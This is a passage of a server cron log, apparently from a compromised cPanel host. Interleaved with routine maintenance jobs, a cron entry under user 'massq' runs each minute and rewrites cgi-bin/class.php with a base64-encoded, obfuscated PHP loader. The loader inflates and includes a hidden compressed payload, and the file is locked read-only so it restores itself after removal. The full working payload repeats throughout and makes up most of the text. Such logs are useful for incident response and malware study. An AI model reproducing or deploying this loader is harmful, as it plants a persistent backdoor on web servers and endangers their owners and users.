QUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:18:01 server CROND[1771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:18:01 server CROND[1770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:18:01 server CROND[1769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:19:01 server CROND[2175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:19:01 server CROND[2176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:19:01 server CROND[2177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:20:01 server CROND[2735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:20:01 server CROND[2736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:20:01 server CROND[2738]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:20:01 server CROND[2737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:20:01 server CROND[2739]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 18:20:01 server CROND[2742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:20:01 server CROND[2744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:20:01 server CROND[2741]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:20:01 server CROND[2743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:21:01 server CROND[3582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:21:01 server CROND[3583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:21:01 server CROND[3584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:22:01 server CROND[3952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:22:01 server CROND[3954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:22:01 server CROND[3953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:23:01 server CROND[4332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:23:01 server CROND[4333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:23:01 server CROND[4334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:24:01 server CROND[4743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:24:01 server CROND[4744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:24:01 server CROND[4745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:25:01 server CROND[5219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:25:01 server CROND[5223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:25:01 server CROND[5227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:25:01 server CROND[5226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:25:01 server CROND[5228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:25:01 server CROND[5224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:25:01 server CROND[5230]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 18:25:01 server CROND[5225]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:26:01 server CROND[6070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:26:01 server CROND[6071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:26:01 server CROND[6072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:27:01 server CROND[6443]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 18:27:01 server CROND[6444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:27:01 server CROND[6445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:27:01 server CROND[6446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:28:01 server CROND[6814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:28:01 server CROND[6815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:28:01 server CROND[6816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:29:01 server CROND[7183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:29:01 server CROND[7184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:29:01 server CROND[7182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:30:01 server CROND[7670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
